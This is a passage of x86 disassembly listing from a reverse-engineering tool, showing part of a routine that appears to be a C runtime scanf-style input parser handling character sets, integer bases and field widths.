short loc_41FF04 loc_41FEF9: ; CODE XREF: sub_41FBE0+30Bj mov dl, [ebp+var_14] add dl, 1 mov [ebp+var_14], dl jmp short loc_41FF0C ; --------------------------------------------------------------------------- loc_41FF04: ; CODE XREF: sub_41FBE0+317j mov al, [ebp+var_14] sub al, 1 mov [ebp+var_14], al loc_41FF0C: ; CODE XREF: sub_41FBE0+2FFj ; sub_41FBE0+322j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] or edx, 20h mov [ebp+var_C], edx cmp [ebp+var_C], 6Eh jz short loc_41FF5E cmp [ebp+var_C], 63h jz short loc_41FF43 cmp [ebp+var_C], 7Bh jz short loc_41FF43 mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_20] push ecx call sub_4210A0 add esp, 8 mov [ebp+var_1D8], eax jmp short loc_41FF5E ; --------------------------------------------------------------------------- loc_41FF43: ; CODE XREF: sub_41FBE0+343j ; sub_41FBE0+349j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_421020 add esp, 4 mov [ebp+var_1D8], eax loc_41FF5E: ; CODE XREF: sub_41FBE0+33Dj ; sub_41FBE0+361j cmp [ebp+var_1E8], 0 jz short loc_41FF71 cmp [ebp+var_1C], 0 jz loc_420D7F loc_41FF71: ; CODE XREF: sub_41FBE0+385j mov ecx, [ebp+var_C] mov [ebp+var_204], ecx mov edx, [ebp+var_204] sub edx, 63h mov [ebp+var_204], edx cmp [ebp+var_204], 18h ja loc_420D2A mov ecx, [ebp+var_204] xor eax, eax mov al, ds:byte_420F9E[ecx] jmp ds:off_420F76[eax*4] loc_41FFAB: ; DATA XREF: .text:off_420F76o cmp [ebp+var_1E8], 0 jnz short loc_41FFCC mov edx, [ebp+var_1E8] add edx, 1 mov [ebp+var_1E8], edx mov eax, [ebp+var_1C] add eax, 1 mov [ebp+var_1C], eax loc_41FFCC: ; CODE XREF: sub_41FBE0+3D2j movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_41FFDD mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_41FFDD: ; CODE XREF: sub_41FBE0+3F2j mov [ebp+var_1E0], offset asc_442F78 ; "]" mov al, [ebp+var_10] sub al, 1 mov [ebp+var_10], al jmp short loc_420060 ; --------------------------------------------------------------------------- loc_41FFF1: ; CODE XREF: sub_41FBE0+3C4j ; DATA XREF: .text:00420F8Eo movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_420002 mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_420002: ; CODE XREF: sub_41FBE0+417j mov [ebp+var_1E0], offset asc_442F70 ; " \t-\r]" mov al, [ebp+var_10] sub al, 1 mov [ebp+var_10], al jmp short loc_420060 ; --------------------------------------------------------------------------- loc_420016: ; CODE XREF: sub_41FBE0+3C4j ; DATA XREF: .text:00420F96o movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_420027 mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_420027: ; CODE XREF: sub_41FBE0+43Cj mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] mov [ebp+var_1E0], ecx mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] cmp eax, 5Eh jnz short loc_420060 mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov dl, [ebp+var_10] sub dl, 1 mov [ebp+var_10], dl loc_420060: ; CODE XREF: sub_41FBE0+40Fj ; sub_41FBE0+434j ... push 20h push 0 lea eax, [ebp+var_60] push eax call sub_4189A0 add esp, 0Ch cmp [ebp+var_C], 7Bh jnz short loc_42009C mov ecx, [ebp+var_1E0] xor edx, edx mov dl, [ecx] cmp edx, 5Dh jnz short loc_42009C mov byte ptr [ebp+var_8], 5Dh mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax mov [ebp+var_55], 20h loc_42009C: ; CODE XREF: sub_41FBE0+494j ; sub_41FBE0+4A3j ... mov ecx, [ebp+var_1E0] xor edx, edx mov dl, [ecx] cmp edx, 5Dh jz loc_420207 mov eax, [ebp+var_1E0] mov cl, [eax] mov byte ptr [ebp+var_1EC], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_1EC] and eax, 0FFh cmp eax, 2Dh jnz short loc_4200F8 mov ecx, [ebp+var_8] and ecx, 0FFh test ecx, ecx jz short loc_4200F8 mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] cmp eax, 5Dh jnz short loc_42013E loc_4200F8: ; CODE XREF: sub_41FBE0+4FAj ; sub_41FBE0+507j mov cl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_8], cl mov edx, [ebp+var_8] and edx, 0FFh sar edx, 3 mov ecx, [ebp+var_1EC] and ecx, 0FFh and ecx, 7 mov eax, 1 shl eax, cl mov cl, [ebp+edx+var_60] or cl, al mov edx, [ebp+var_8] and edx, 0FFh sar edx, 3 mov [ebp+edx+var_60], cl jmp loc_420202 ; --------------------------------------------------------------------------- loc_42013E: ; CODE XREF: sub_41FBE0+516j mov eax, [ebp+var_1E0] mov cl, [eax] mov byte ptr [ebp+var_1EC], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_8] and eax, 0FFh mov ecx, [ebp+var_1EC] and ecx, 0FFh cmp eax, ecx jge short loc_42017E mov dl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_24], dl jmp short loc_42018D ; --------------------------------------------------------------------------- loc_42017E: ; CODE XREF: sub_41FBE0+591j mov al, byte ptr [ebp+var_8] mov byte ptr [ebp+var_24], al mov cl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_8], cl loc_42018D: ; CODE XREF: sub_41FBE0+59Cj mov dl, byte ptr [ebp+var_8] mov byte ptr [ebp+var_1EC], dl jmp short loc_4201A6 ; --------------------------------------------------------------------------- loc_420198: ; CODE XREF: sub_41FBE0+61Cj mov al, byte ptr [ebp+var_1EC] add al, 1 mov byte ptr [ebp+var_1EC], al loc_4201A6: ; CODE XREF: sub_41FBE0+5B6j mov ecx, [ebp+var_1EC] and ecx, 0FFh mov edx, [ebp+var_24] and edx, 0FFh cmp ecx, edx jg short loc_4201FE mov eax, [ebp+var_1EC] and eax, 0FFh sar eax, 3 mov ecx, [ebp+var_1EC] and ecx, 0FFh and ecx, 7 mov edx, 1 shl edx, cl mov al, [ebp+eax+var_60] or al, dl mov ecx, [ebp+var_1EC] and ecx, 0FFh sar ecx, 3 mov [ebp+ecx+var_60], al jmp short loc_420198 ; --------------------------------------------------------------------------- loc_4201FE: ; CODE XREF: sub_41FBE0+5DDj mov byte ptr [ebp+var_8], 0 loc_420202: ; CODE XREF: sub_41FBE0+559j jmp loc_42009C ; --------------------------------------------------------------------------- loc_420207: ; CODE XREF: sub_41FBE0+4C9j mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] test eax, eax jnz short loc_42021A jmp loc_420ECA ; --------------------------------------------------------------------------- loc_42021A: ; CODE XREF: sub_41FBE0+633j cmp [ebp+var_C], 7Bh jnz short loc_420229 mov ecx, [ebp+var_1E0] mov [ebp+arg_4], ecx loc_420229: ; CODE XREF: sub_41FBE0+63Ej mov edx, [ebp+var_3C] mov [ebp+var_1E4], edx mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_421080 add esp, 8 loc_42024E: ; CODE XREF: sub_41FBE0:loc_420390j cmp [ebp+var_1E8], 0 jz short loc_42026B mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz loc_420395 loc_42026B: ; CODE XREF: sub_41FBE0+675j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_421020 add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 0FFFFFFFFh jz loc_420372 mov ecx, [ebp+var_1D8] sar ecx, 3 movsx edx, [ebp+ecx+var_60] movsx eax, [ebp+var_10] xor edx, eax mov ecx, [ebp+var_1D8] and ecx, 7 mov eax, 1 shl eax, cl and edx, eax test edx, edx jz loc_420372 movsx ecx, [ebp+var_70] test ecx, ecx jnz loc_420361 movsx edx, [ebp+var_64] test edx, edx jz short loc_42034B mov al, byte ptr [ebp+var_1D8] mov [ebp+var_1F0], al mov ecx, [ebp+var_1D8] and ecx, 0FFh mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_42031D mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_421020 add esp, 4 mov [ebp+var_1EF], al loc_42031D: ; CODE XREF: sub_41FBE0+720j mov eax, dword_442F58 push eax lea ecx, [ebp+var_1F0] push ecx lea edx, [ebp+var_4] push edx call sub_427330 add esp, 0Ch mov eax, [ebp+var_3C] mov cx, [ebp+var_4] mov [eax], cx mov edx, [ebp+var_3C] add edx, 2 mov [ebp+var_3C], edx jmp short loc_42035F ; --------------------------------------------------------------------------- loc_42034B: ; CODE XREF: sub_41FBE0+6F3j mov eax, [ebp+var_3C] mov cl, byte ptr [ebp+var_1D8] mov [eax], cl mov edx, [ebp+var_3C] add edx, 1 mov [ebp+var_3C], edx loc_42035F: ; CODE XREF: sub_41FBE0+769j jmp short loc_420370 ; --------------------------------------------------------------------------- loc_420361: ; CODE XREF: sub_41FBE0+6E7j mov eax, [ebp+var_1E4] add eax, 1 mov [ebp+var_1E4], eax loc_420370: ; CODE XREF: sub_41FBE0:loc_42035Fj jmp short loc_420390 ; --------------------------------------------------------------------------- loc_420372: ; CODE XREF: sub_41FBE0+6ADj ; sub_41FBE0+6DBj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_421080 add esp, 8 jmp short loc_420395 ; --------------------------------------------------------------------------- loc_420390: ; CODE XREF: sub_41FBE0:loc_420370j jmp loc_42024E ; --------------------------------------------------------------------------- loc_420395: ; CODE XREF: sub_41FBE0+685j ; sub_41FBE0+7AEj mov ecx, [ebp+var_1E4] cmp ecx, [ebp+var_3C] jz short loc_4203D1 movsx edx, [ebp+var_70] test edx, edx jnz short loc_4203CF mov eax, [ebp+var_34] add eax, 1 mov [ebp+var_34], eax cmp [ebp+var_C], 63h jz short loc_4203CF movsx ecx, [ebp+var_64] test ecx, ecx jz short loc_4203C9 mov edx, [ebp+var_3C] mov word ptr [edx], 0 jmp short loc_4203CF ; --------------------------------------------------------------------------- loc_4203C9: ; CODE XREF: sub_41FBE0+7DDj mov eax, [ebp+var_3C] mov byte ptr [eax], 0 loc_4203CF: ; CODE XREF: sub_41FBE0+7C6j ; sub_41FBE0+7D5j ... jmp short loc_4203D6 ; --------------------------------------------------------------------------- loc_4203D1: ; CODE XREF: sub_41FBE0+7BEj jmp loc_420ECA ; --------------------------------------------------------------------------- loc_4203D6: ; CODE XREF: sub_41FBE0:loc_4203CFj jmp loc_420D74 ; --------------------------------------------------------------------------- loc_4203DB: ; CODE XREF: sub_41FBE0+3C4j ; DATA XREF: .text:00420F82o mov [ebp+var_C], 64h loc_4203E2: ; CODE XREF: sub_41FBE0+3C4j ; DATA XREF: .text:00420F92o cmp [ebp+var_1D8], 2Dh jnz short loc_4203F6 mov cl, [ebp+var_68] add cl, 1 mov [ebp+var_68], cl jmp short loc_4203FF ; --------------------------------------------------------------------------- loc_4203F6: ; CODE XREF: sub_41FBE0+809j cmp [ebp+var_1D8], 2Bh jnz short loc_42043C loc_4203FF: ; CODE XREF: sub_41FBE0+814j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_420421 cmp [ebp+var_1E8], 0 jz short loc_420421 mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al jmp short loc_42043C ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_41FBE0+82Cj ; sub_41FBE0+835j mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_421020 add esp, 4 mov [ebp+var_1D8], eax loc_42043C: ; CODE XREF: sub_41FBE0+81Dj ; sub_41FBE0+83Fj cmp [ebp+var_1D8], 30h jnz loc_4204DE mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_421020 add esp, 4 mov [ebp+var_1D8], eax movsx edx, byte ptr [ebp+var_1D8] cmp edx, 78h jz short loc_42047C movsx eax, byte ptr [ebp+var_1D8] cmp eax, 58h jnz short loc_4204A0 loc_42047C: ; CODE XREF: sub_41FBE0+88Ej mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_421020 add esp, 4 mov [ebp+var_1D8], eax mov [ebp+var_C], 78h jmp short loc_4204DE ; --------------------------------------------------------------------------- loc_4204A0: ; CODE XREF: sub_41FBE0+89Aj mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax cmp [ebp+var_C], 78h jz short loc_4204B8 mov [ebp+var_C], 6Fh jmp short loc_4204DE ; --------------------------------------------------------------------------- loc_4204B8: ; CODE XREF: sub_41FBE0+8CDj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_421080 add esp, 8 mov [ebp+var_1D8], 30h loc_4204DE: ; CODE XREF: sub_41FBE0+863j ; sub_41FBE0+8BEj ... jmp short loc_42053E ; --------------------------------------------------------------------------- loc_4204E0: ; CODE XREF: sub_41FBE0+3C4j ; DATA XREF: .text:00420F8Ao mov [ebp+var_38], 1 loc_4204E4: ; CODE XREF: sub_41FBE0+3C4j ; DATA XREF: .text:00420F7Ao cmp [ebp+var_1D8], 2Dh jnz short loc_4204F8 mov cl, [ebp+var_68] add cl, 1 mov [ebp+var_68], cl jmp short loc_420501 ; --------------------------------------------------------------------------- loc_4204F8: ; CODE XREF: sub_41FBE0+90Bj cmp [ebp+var_1D8], 2Bh jnz short loc_42053E loc_420501: ; CODE XREF: sub_41FBE0+916j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_420523 cmp [ebp+var_1E8], 0 jz short loc_420523 mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al jmp short loc_42053E ; --------------------------------------------------------------------------- loc_420523: ; CODE XREF: sub_41FBE0+92Ej ; sub_41FBE0+937j mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_421020 add esp, 4 mov [ebp+var_1D8], eax loc_42053E: ; CODE XREF: sub_41FBE0:loc_4204DEj ; sub_41FBE0+91Fj ... cmp [ebp+var_1DC], 0 jz loc_420739 loc_42054B: ; CODE XREF: sub_41FBE0:loc_420714j movsx eax, [ebp+var_18] test eax, eax jnz loc_420719 cmp [ebp+var_C], 78h jnz loc_4205E6 cmp dword_442F58, 1 jle short loc_420586 push 80h mov ecx, [ebp+var_1D8] push ecx call sub_41E750 add esp, 8 mov [ebp+var_208], eax jmp short loc_4205A3 ; --------------------------------------------------------------------------- loc_420586: ; CODE XREF: sub_41FBE0+988j mov edx, [ebp+var_1D8] mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 80h mov [ebp+var_208], ecx loc_4205A3: ; CODE XREF: sub_41FBE0+9A4j cmp [ebp+var_208], 0 jz short loc_4205D9 mov ecx, 4 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_427900 mov [ebp+var_30], eax mov [ebp+var_2C], edx mov edx, [ebp+var_1D8] push edx call sub_420FC0 add esp, 4 mov [ebp+var_1D8], eax jmp short loc_4205E1 ; --------------------------------------------------------------------------- loc_4205D9: ; CODE XREF: sub_41FBE0+9CAj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_4205E1: ; CODE XREF: sub_41FBE0+9F7j jmp loc_42068D ; --------------------------------------------------------------------------- loc_4205E6: ; CODE XREF: sub_41FBE0+97Bj cmp dword_442F58, 1 jle short loc_420608 push 4 mov ecx, [ebp+var_1D8] push ecx call sub_41E750 add esp, 8 mov [ebp+var_20C], eax jmp short loc_420622 ; --------------------------------------------------------------------------- loc_420608: ; CODE XREF: sub_41FBE0+A0Dj mov edx, [ebp+var_1D8] mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_20C], ecx loc_420622: ; CODE XREF: sub_41FBE0+A26j cmp [ebp+var_20C], 0 jz short loc_420685 cmp [ebp+var_C], 6Fh jnz short loc_42065D cmp [ebp+var_1D8], 38h jge short loc_420652 mov ecx, 3 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_427900 mov [ebp+var_30], eax mov [ebp+var_2C], edx jmp short loc_42065B ; --------------------------------------------------------------------------- loc_420652: ; CODE XREF: sub_41FBE0+A58j mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl loc_42065B: ; CODE XREF: sub_41FBE0+A70j jmp short loc_420683 ; --------------------------------------------------------------------------- loc_42065D: ; CODE XREF: sub_41FBE0+A4Fj mov ecx, 2 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_427900 add eax, [ebp+var_30] adc edx, [ebp+var_2C] mov ecx, 1 call sub_427900 mov [ebp+var_30], eax mov [ebp+var_2C], edx loc_420683: ; CODE XREF: sub_41FBE0:loc_42065Bj jmp short loc_42068D ; --------------------------------------------------------------------------- loc_420685: ; CODE XREF: sub_41FBE0+A49j mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_42068D: ; CODE XREF: sub_41FBE0:loc_4205E1j ; sub_41FBE0:loc_420683j movsx ecx, [ebp+var_18] test ecx, ecx jnz short loc_4206F8 mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx mov eax, [ebp+var_1D8] sub eax, 30h cdq mov ecx, [ebp+var_30] add ecx, eax mov eax, [ebp+var_2C] adc eax, edx mov [ebp+var_30], ecx mov [ebp+var_2C], eax cmp [ebp+var_1E8], 0 jz short loc_4206DB mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx cmp [ebp+var_1C], 0 jnz short loc_4206DB mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206DB: ; CODE XREF: sub_41FBE0+ADFj ; sub_41FBE0+AEEj mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_421020 add esp, 4 mov [ebp+var_1D8], eax loc_4206F6: ; CODE XREF: sub_41FBE0+AF9j jmp short loc_420714 ; --------------------------------------------------------------------------- loc_4206F8: ; CODE XREF: sub_41FBE0+AB3j mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_421080 add esp, 8 loc_420714: ; CODE XREF: sub_41FBE0:loc_4206F6j jmp loc_42054B ; --------------------------------------------------------------------------- loc_420719: ; CODE XREF: sub_41FBE0+971j movsx edx, [ebp+var_68] test edx, edx jz short loc_420734 mov eax, [ebp+var_30] neg eax mov ecx, [ebp+var_2C] adc ecx, 0 neg ecx mov [ebp+var_30], eax mov [ebp+var_2C], ecx loc_420734: ; CODE XREF: sub_41FBE0+B3Fj jmp loc_4208DD ; --------------------------------------------------------------------------- loc_420739: ; CODE XREF: sub_41FBE0+965j ; sub_41FBE0:loc_4208C8j movsx edx, [ebp+var_18] test edx, edx jnz loc_4208CD cmp [ebp+var_C], 78h jz short loc_420751 cmp [ebp+var_C], 70h jnz short loc_4207C9 loc_420751: ; CODE XREF: sub_41FBE0+B69j cmp dword_442F58, 1 jle short loc_420776 push 80h mov eax, [ebp+var_1D8] push eax call sub_41E750 add esp, 8 mov [ebp+var_210], eax jmp short loc_420793 ; --------------------------------------------------------------------------- loc_420776: ; CODE XREF: sub_41FBE0+B78j mov ecx, [ebp+var_1D8] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 80h mov [ebp+var_210], eax loc_420793: ; CODE XREF: sub_41FBE0+B94j cmp [ebp+var_210], 0 jz short loc_4207BC mov ecx, [ebp+var_40] shl ecx, 4 mov [ebp+var_40], ecx mov edx, [ebp+var_1D8] push edx call sub_420FC0 add esp, 4 mov [ebp+var_1D8], eax jmp short loc_4207C4 ; --------------------------------------------------------------------------- loc_4207BC: ; CODE XREF: sub_41FBE0+BBAj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_4207C4: ; CODE XREF: sub_41FBE0+BDAj jmp loc_42084B ; --------------------------------------------------------------------------- loc_4207C9: ; CODE XREF: sub_41FBE0+B6Fj cmp dword_442F58, 1 jle short loc_4207EB push 4 mov ecx, [ebp+var_1D8] push ecx call sub_41E750 add esp, 8 mov [ebp+var_214], eax jmp short loc_420805 ; --------------------------------------------------------------------------- loc_4207EB: ; CODE XREF: sub_41FBE0+BF0j mov edx, [ebp+var_1D8] mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_214], ecx loc_420805: ; CODE XREF: sub_41FBE0+C09j cmp [ebp+var_214], 0 jz short loc_420842 cmp [ebp+var_C], 6Fh jnz short loc_420832 cmp [ebp+var_1D8], 38h jge short loc_420828 mov edx, [ebp+var_40] shl edx, 3 mov [ebp+var_40], edx jmp short loc_420830 ; --------------------------------------------------------------------------- loc_420828: ; CODE XREF: sub_41FBE0+C3Bj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_420830: ; CODE XREF: sub_41FBE0+C46j jmp short loc_420840 ; --------------------------------------------------------------------------- loc_420832: ; CODE XREF: sub_41FBE0+C32j mov ecx, [ebp+var_40] mov edx, [ebp+var_40] lea eax, [edx+ecx*4] shl eax, 1 mov [ebp+var_40], eax loc_420840: ; CODE XREF: sub_41FBE0:loc_420830j jmp short loc_42084B ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_41FBE0+C2Cj mov cl, [ebp+var_18] add cl, 1 mov [ebp+var_18], cl loc_42084B: ; CODE XREF: sub_41FBE0:loc_4207C4j ; sub_41FBE0:loc_420840j movsx edx, [ebp+var_18] test edx, edx jnz short loc_4208AC mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax mov ecx, [ebp+var_1D8] mov edx, [ebp+var_40] lea eax, [edx+ecx-30h] mov [ebp+var_40], eax cmp [ebp+var_1E8], 0 jz short loc_42088F mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx cmp [ebp+var_1C], 0 jnz short loc_42088F mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl jmp short loc_4208AA ; --------------------------------------------------------------------------- loc_42088F: ; CODE XREF: sub_41FBE0+C93j ; sub_41FBE0+CA2j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_421020 add esp, 4 mov [ebp+var_1D8], eax loc_4208AA: ; CODE XREF: sub_41FBE0+CADj jmp short loc_4208C8 ; --------------------------------------------------------------------------- loc_4208AC: ; CODE XREF: sub_41FBE0+C71j mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_421080 add esp, 8 loc_4208C8: ; CODE XREF: sub_41FBE0:loc_4208AAj jmp loc_420739 ; --------------------------------------------------------------------------- loc_4208CD: ; CODE XREF: sub_41FBE0+B5Fj movsx edx, [ebp+var_68] test edx, edx jz short loc_4208DD mov eax, [ebp+var_40] neg eax mov [ebp+var_40], eax loc_4208DD: ; CODE XREF: sub_41FBE0:loc_420734j ; sub_41FBE0+CF3j cmp [ebp+var_C], 46h jnz short loc_4208EA mov [ebp+var_6C], 0 loc_4208EA: ; CODE XREF: sub_41FBE0+D01j cmp [ebp+var_6C], 0 jz short loc_420938 movsx ecx, [ebp+var_70] test ecx, ecx jnz short loc_420936 mov edx, [ebp+var_34] add edx, 1 mov [ebp+var_34], edx loc_420901: ; CODE XREF: sub_41FBE0+D70j cmp [ebp+var_1DC], 0 jz short loc_42091A mov eax, [ebp+var_3C] mov ecx, [ebp+var_30] mov [eax], ecx mov edx, [ebp+var_2C] mov [eax+4], edx jmp short loc_420936 ; --------------------------------------------------------------------------- loc_42091A: ; CODE XREF: sub_41FBE0+D28j movsx eax, [ebp+var_38] test eax, eax jz short loc_42092C mov ecx, [ebp+var_3C] mov edx, [ebp+var_40] mov [ecx], edx jmp short loc_420936 ; --------------------------------------------------------------------------- loc_42092C: ; CODE XREF: sub_41FBE0+D40j mov eax, [ebp+var_3C] mov cx, word ptr [ebp+var_40] mov [eax], cx loc_420936: ; CODE XREF: sub_41FBE0+D16j ; sub_41FBE0+D38j ... jmp short loc_42093D ; --------------------------------------------------------------------------- loc_420938: ; CODE XREF: sub_41FBE0+D0Ej jmp loc_420ECA ; --------------------------------------------------------------------------- loc_42093D: ; CODE XREF: sub_41FBE0:loc_420936j jmp loc_420D74 ; --------------------------------------------------------------------------- loc_420942: ; CODE XREF: sub_41FBE0+3C4j ; DATA XREF: .text:00420F86o mov edx, [ebp+var_20] mov [ebp+var_40], edx movsx eax, [ebp+var_70] test eax, eax jnz short loc_420952 jmp short loc_420901 ; --------------------------------------------------------------------------- loc_420952: ; CODE XREF: sub_41FBE0+D6Ej jmp loc_420D74 ; --------------------------------------------------------------------------- loc_420957: ; CODE XREF: sub_41FBE0+3C4j ; DATA XREF: .text:00420F7Eo lea ecx, [ebp+var_1D0] mov [ebp+var_1E0], ecx cmp [ebp+var_1D8], 2Dh jnz short loc_420986 mov edx, [ebp+var_1E0] mov byte ptr [edx], 2Dh mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax jmp short loc_42098F ; --------------------------------------------------------------------------- loc_420986: ; CODE XREF: sub_41FBE0+D8Aj cmp [ebp+var_1D8], 2Bh jnz short loc_4209B3 loc_42098F: ; CODE XREF: sub_41FBE0+DA4j mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_421020 add esp, 4 mov [ebp+var_1D8], eax loc_4209B3: ; CODE XREF: sub_41FBE0+DADj cmp [ebp+var_1E8], 0 jz short loc_4209C5 cmp [ebp+var_1C], 15Dh jle short loc_4209CC loc_4209C5: ; CODE XREF: sub_41FBE0+DDAj mov [ebp+var_1C], 15Dh loc_4209CC: ; CODE XREF: sub_41FBE0+DE3j ; sub_41FBE0+E82j cmp dword_442F58, 1 jle short loc_4209EE push 4 mov ecx, [ebp+var_1D8] push ecx call sub_41E750 add esp, 8 mov [ebp+var_218], eax jmp short loc_420A08 ; --------------------------------------------------------------------------- loc_4209EE: ; CODE XREF: sub_41FBE0+DF3j mov edx, [ebp+var_1D8] mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_218], ecx loc_420A08: ; CODE XREF: sub_41FBE0+E0Cj cmp [ebp+var_218], 0 jz short loc_420A67 mov edx, [ebp+var_1C] mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax test edx, edx jz short loc_420A67 mov ecx, [ebp+var_6C] add ecx, 1 mov [ebp+var_6C], ecx mov edx, [ebp+var_1E0] mov al, byte ptr [ebp+var_1D8] mov [edx], al mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_421020 add esp, 4 mov [ebp+var_1D8], eax jmp loc_4209CC ; --------------------------------------------------------------------------- loc_420A67: ; CODE XREF: sub_41FBE0+E2Fj ; sub_41FBE0+E3Fj movsx ecx, byte_442F5C movsx edx, byte ptr [ebp+var_1D8] cmp ecx, edx jnz loc_420B64 mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz loc_420B64 mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_421020 add esp, 4 mov [ebp+var_1D8], eax mov ecx, [ebp+var_1E0] mov dl, byte_442F5C mov [ecx], dl mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax loc_420AC9: ; CODE XREF: sub_41FBE0+F7Fj cmp dword_442F58, 1 jle short loc_420AEB push 4 mov ecx, [ebp+var_1D8] push ecx call sub_41E750 add esp, 8 mov [ebp+var_21C], eax jmp short loc_420B05 ; --------------------------------------------------------------------------- loc_420AEB: ; CODE XREF: sub_41FBE0+EF0j mov edx, [ebp+var_1D8] mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_21C], ecx loc_420B05: ; CODE XREF: sub_41FBE0+F09j cmp [ebp+var_21C], 0 jz short loc_420B64 mov edx, [ebp+var_1C] mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax test edx, edx jz short loc_420B64 mov ecx, [ebp+var_6C] add ecx, 1 mov [ebp+var_6C], ecx mov edx, [ebp+var_1E0] mov al, byte ptr [ebp+var_1D8] mov [edx], al mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call 